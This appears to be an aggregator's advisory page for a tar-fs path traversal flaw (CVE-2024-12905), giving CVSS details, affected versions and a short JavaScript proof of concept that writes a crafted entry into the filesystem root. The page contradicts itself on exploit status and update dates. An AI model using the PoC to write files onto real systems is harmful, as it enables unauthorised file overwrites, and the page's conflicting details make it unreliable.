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🛡️ CVE-2024-12905 — tar-fs

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-22 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.

This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.

PoC

```javascript

// Create a writable stream to extract the tar content

const extractStream = tarfs.extract('/', {

// We can ignore the file type checks to allow the extraction of the malicious file

ignore: (name) => false,

});

// Create a tar stream

const tarStream = tarfs.pack().on('error', (err) => {

throw err;

});

// Append the malicious entry to the tar stream

tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));

// Finalize the tar stream

tarStream.finalize();

// Pipe the tar stream into the extract stream

tarStream.pipe(extractStream);

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2024-12905 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2024-12905 is recorded against 2 packages.

  • tar-fs
  • unknown

Timeline and source

Published on 27 March 2025 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

nvd.nist.gov (Advisory)
github.com (Web)
arxiv.org (Web)
arxiv.org (Web)
github.com (Package)
lists.debian.org (Web)
www.seal.security (Web)

Other advisories for this package

tar-fs has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:

CVE-2024-12905 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2025-03-27
Updated 2026-08-20
Modified 2026-02-04
Fix URL N/A

Affected Packages

Software From version Fixed in
tar-fs — —
unknown — —

Site Security Check

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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

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